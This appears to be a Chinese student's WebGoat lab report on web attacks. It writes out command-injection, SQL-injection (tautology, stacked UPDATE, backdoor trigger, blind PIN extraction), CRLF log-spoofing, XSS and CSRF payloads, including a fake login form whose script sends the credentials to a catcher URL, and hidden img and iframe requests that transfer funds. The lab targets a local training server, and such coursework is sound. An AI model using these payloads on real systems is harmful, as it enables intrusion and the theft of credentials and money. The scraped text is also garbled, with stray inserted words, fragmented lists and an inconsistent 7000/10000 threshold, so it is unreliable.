本實踐的目標理解經常使用網絡攻擊技術的基本原理,作很多於7個題目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat實踐下相關實驗。javascript
(1)SQL注入攻擊原理,如何防護html
''
、--
,#
等特殊字符,實現將某些語句註釋掉,或是構造永真式,實現登陸的目的。''
、--
或是#
的符號。(2)XSS攻擊的原理,如何防護前端
(3)CSRF攻擊原理,如何防護java
記住密碼
,避免cookie的出現。WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,當前提供的訓練課程有30多個,其中包括:跨站點腳本攻擊(XSS)、訪問控制、線程安全、操做隱藏字段、操縱參數、弱會話cookie、SQL盲注、數字型SQL注入、字符串型SQL注入、web服務、Open Authentication失效、危險的HTML註釋等等。WebGoat提供了一系列web安全學習的教程,某些課程也給出了視頻演示,指導用戶利用這些漏洞進行攻擊。
step1 檢查端口:因爲WebGoat是使用8080
端口進行工做的,因此使用前,要檢查該端口是否被佔用。git
netstat -tupln | grep 8080
來檢查端口是否被佔用。kill 進程號
終止佔用8080端口的進程。step2 下載並安裝WebGoat:github
java -version
查看jdk版本step3 開啓並登陸:web
開啓WebGoat:進入存在剛剛下載的webgoat-container-7.0.1-war-exec.jar
包的目錄,輸入java jar webgoat-container-7.0.1-war-exec.jar
進行開啓。
在看到Starting ProtocolHandler ["http-bio-8080"]
這一條消息以後就代表開啓成功了。sql
登陸Webgoat:數據庫
http://localhost:8080/WebGoat
,如圖所示,在登陸框下面表格中有兩組用戶名和密碼,能夠直接登陸。原理:在正常的參數提交過程當中添加惡意代碼,以執行某條命令。 目標:能夠在主機上執行任何系統命令。
在左側點擊Injection Flaws
-> Command Injection
後端
咱們能夠選擇第一個AccessControlMatrix.help
,點擊view
,看到以下執行結果。
接下來,咱們作一下注入攻擊,但願仍是選擇該選項,增長檢查端口狀態
和查詢鏈接端口主機的IP地址的功能
。
右鍵點擊複選框,選擇Inspect Element
來審查網頁元素,對源代碼進行修改,咱們能夠在相應選項的末尾後面添加"& netstat -an & ipconfig
。
view
,咱們能夠看到相應的端口及鏈接端口的主機,攻擊成功。原理:經過在字段中注入數字型數據(例如永真式),從而達到注入攻擊的效果。 目標:本次實踐中經過注入SQL字符達到查看全部城市的天氣預報的效果。
在左側點擊Injection Flaws
-> Numeric SQL Injection
一樣,右側點擊複選框,選擇inspect Element
審查元素。此次,咱們但願查詢全部城市的天氣預報,因此,咱們要讓網頁前端傳給後臺的value值爲永真式,才能達到迷惑後臺,查詢全部城市的效果。因此,咱們要在value="101"
中的101
後面添加or 1=1
,使得value值
爲 一個永真式。
Go
,出現綠對勾
,說明咱們攻擊成功,同時也能夠看到全部城市的天氣。原理:經過在日誌中插入腳本實現欺騙,攻擊者能夠利用這種方式清除他們在日誌中的痕跡。 本次實踐目標:用戶登陸後下方日誌會顯示其在以前的全部行爲,咱們經過日誌欺騙,讓用戶登陸時下方只顯示成功登陸。
在左側點擊Injection Flaws
-> Log Spoofing
咱們就以前打開WebGoat時表格上顯示的用戶webgoat
進行攻擊。
在User Name
中填入webgoat%0d%0aLogin Succeeded for username: admin
,利用回車%0D
和空格%0A
讓其在日誌中兩行顯示。
隨後,咱們輸入密碼(在以前表格中有)後,點擊Login
,能夠看到webgoat
在Login Fail
那行中顯示,咱們本身添加的語句在下一行中顯示。
admin <script>alert(document.cookie)</script>
,管理員能夠看到彈窗的cookie信息。本次實踐目標:基於查詢語句利用字符串型追方式構造本身的SQL,從而達到將全部信用卡信息顯示出來的目的。
在左側點擊Injection Flaws
-> String SQL Injection
下面咱們來構造SQL語句,咱們能夠隨便選一個用戶名(這個沒有關係,咱們要注入永真式,用戶名正確與否無關)例如Smith
,咱們知道正常的SQL搜索語句爲select * FROM user_data WHERE last_name='Smith'
,咱們利用'
提早閉合''
,而且加上or 1=1 --
,or 1=1
是使這段語句變成永真式,--
語句是爲了把後面的語句註釋掉。這就造成了select * FROM user_data WHERE last_name='Smith' or 1=1 --
。
隨後,咱們點擊Go!
,結果以下:
本次實踐目標:經過使用SQL注入繞事後臺進行攻擊。
' or 1=1 --
進行登陸。inpect Elements
,對元素長度進行修改。' or 1=1 --
,登陸成功。原理:數據庫一般做爲一個 Web 應用程序的後端來使用。此外,它也用來做爲存儲的媒介。 它也能夠被用來做爲存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另 一個數據庫操做,如 insert, select, update or delete。舉個例子:攻擊者能夠建立一個觸發器, 該觸發器在建立新用戶時,將每一個新用戶的 Email 地址設置爲攻擊者的地址。
101
,能夠輸入101
來查看用戶的信息。經過界面,咱們能夠看到輸入的語句沒有通過任何驗證,很容易進行SQL注入。
好比,咱們注入一段SQL語句,將101
用戶中的salary
這一項改成10000
,輸入101; update employee set salary=10000
,修改爲功。
john@hackme.com
,輸入語句101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
,咱們能夠看到注入成功。原理:某些SQL注入是沒有明確的返回信息的,只能經過條件的「真」和「假」來進行判斷,攻擊者必須充分利用查詢語句來構造子查詢語句。 該題目要求:根據數字型盲注入,查找pins表中cc_number字段值爲1111222233334444的記錄中pin字段的數值。 方法:該網站只能輸入一個帳號,判斷該帳號是否合法,使用該表單的返回信息(真或假)來測試數據庫中其餘條目的信息。咱們找到了pins表中cc_number字段值爲1111222233334444的記錄中pin字段的數值。pin字段類型爲整型,輸入找到的數值並提交,經過改題目。
在該題目中,服務端的信息只有兩種:無效或有效,所以咱們並不能簡單地查到賬號的PIN值。儘管如此,咱們一樣能夠利用系統在後臺的查詢語句:SELECT * FROM user_data WHERE userid=accountNumber;
,在賬號後面加入AND 查詢語句
,若是頁面返回賬號有效,則表明咱們的查詢語句是正確的,若是提示查詢無效,則咱們的查詢語句是錯誤的。
例如,咱們利用賬號101
,輸入101 AND 1=1
,如圖,頁面返回Account number is valid
,由於1=1
是永真式,因此,語句的結果是正確的,頁面返回的結果是帳號正確的。
101 AND 1=2
,由於1=2
是一個結果爲假的表達式,因此,語句的結果是錯誤的,頁面返回的結果是帳號錯誤。咱們能夠利用這一點進行查詢。
針對AND
後面的語句,咱們開始構造SQL的查詢語句。首先,咱們判斷一下pin值是否大於7000,咱們輸入101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
。若是頁面返回賬號有效,則pin值就是大於7000.若是返回賬號無效,則pin值小於或等於7000。由此,咱們能夠利用二分法進行判斷。
通過咱們的判斷,pin值爲2364
,在輸入框中輸入2364
,提交,正確。
題目要求:到```pins```表中```cc_number```字段值爲4321432143214321的記錄中```pin字段```的數值。```pin字段```類型爲```varchar```。輸入找到的數值(最終的字符串,注意拼寫和大寫)並提交。
與上一題目不一樣的是本題目查詢的爲字符串,咱們須要用到Substring()
方法,語法爲SUBSTRING(STRING,START,LENGTH)
。
咱們輸入101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' )
來獲取pin的第一個字符,並判斷其是否比M
小。
一樣,通過二分法的測試,咱們判斷出了pin值爲Jill
。
XSS是一種常常出如今web應用中的計算機安全漏洞,它容許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中,還能夠任意構造用戶當前瀏覽的HTML內容,從而模擬用戶當前的操做。這裏實驗的是一種獲取用戶名和密碼的攻擊。
原理:在XSS的幫助下,咱們能夠實現釣魚工具或向某些其餘官方頁面中增長內容,由於腳本在後臺,受害者很難發現。 題目目標:建立一個form表單,讓受害者填入用戶名和密碼,在後臺中加入腳本,使服務器獲取用戶名和密碼後傳給攻擊者。
<form name="justice"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form>
Search
框中輸入該代碼,則在下面出現輸入用戶名和密碼的表單。WebGoat
。<script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.justice.user.value + "&password=" + document.justice.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.justice.user.value + " Password = " + document.justice.pass.value); } </script>
<script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.justice.user.value + "&password=" + document.justice.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.justice.user.value + " Password = " + document.justice.pass.value); } </script> <form name="justice"> <br> <br> //表格 <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form>
在Search
框中輸入該代碼,則出現表單。
輸入用戶名和密碼後,咱們能夠看到服務器返回登陸名和密碼。
原理:用戶在表單中輸入一段javascript腳本,這段腳本就會被保存在數據庫中,當任何用戶打開網頁時,腳本就會從數據庫中提取出來運行。 實踐目的:寫入非法消息內容,致使其餘用戶訪問時載入非預期的頁面和內容。
在Message中輸入咱們構造的語句<script>alert("20165203 attack successfully!");</script>
,Title能夠任意輸入,在這裏輸入學號5203
。提交後,能夠發現咱們剛剛發的帖子5203
。
點擊這個帖子,就會發現彈出咱們注入的那句話20165203 attack successfully!
,攻擊成功。
原理:攻擊者利用一個腳本建立一個URL,受害者一旦點擊它就會受到攻擊。
Enter your three digit access code:
欄中輸入腳本<script>alert("Hey! You've been attacked!");</script>
,點擊Purchase
,成功顯示警告框,內容就是咱們在腳本中注入的內容。原理:假裝來自受信任用戶的請求來利用受信任的網站。 目標:向一個新聞組發送一封郵件,郵件中包含一張圖片,這個圖像的URL指向一個惡意請求。URL應該指向「攻擊」servlet,其中包含「屏幕」和「菜單」參數,以及一個額外的參數「transferFunds」,其數值爲5000。能夠經過在右側插入的參數中找到「Screen」和「menu」值來構造連接。當通過身份驗證的CSRF電子郵件的收件人將被轉移他們的資金。
查看頁面右側Parameters
中的src
和menu
值,分別爲319和900。
在title
中輸入任何參數,message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=319&menu=900&transferFunds=5000" width="1" height="1" />
,該連接將以圖片的形式(寬和高均設爲1是爲了隱藏該圖片)放入Message
框,用戶一旦點擊這個圖片,就會觸發一個CSRF事件(轉走用戶的5000元),從而達到攻擊的目的。
原理:CSRF一般是欺騙用戶加載包含「僞造請求」的連接,從而達到獲取用戶的信息,利用這些信息去執行其餘行爲。可是若是連接有提示,提示「確認」或「取消」,那攻擊就很難完成了。咱們能夠發出另外一個連接,來達到繞過這個提示符的目的。 題目目標:與上一個題目相似,向新聞組發送多個包含惡意請求的連接,第一個連接是請求用於轉移資金的,第二個是用於確認第一個請求觸發的提示符,此次咱們把連接僞形成一個屏幕,屏幕的參數```srceen```和```menu```右邊的```Parameters```已經給出,咱們一個連接經過參數```transferFunds=5000```來傳輸,另外一個連接經過```transferFunds=CONTNETS```來傳輸,假如受害者收到了連接,又剛好點開了這兩個連接經過了身份驗證,則他的資金就會被轉移。```
查看頁面右側的Parameters
中的src = 328
和menu=900
.
在title
中輸入消息的名字,在Message
中輸入代碼:
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
Submit
,如圖所示,攻擊成功。本次實踐是在Webgoat上完成的,根據指導,加深了我對SQL注入、XSS和CSRF的理解,正如老師說的那樣,咱們必定要知道本身目前在作什麼操做,目的是什麼,才能更好地理解整個攻擊的脈絡。
本次實驗是最後一次實驗了,雖然因爲本身在學期末忙碌,因此放棄了免考的機會,可是咱們對網絡對抗的探索沒有中止,本身經過本學期的實驗確實加強了自主學習的能力和動手的能力,但願本身好好回顧本學期的知識,在期末考試中考一個好成績。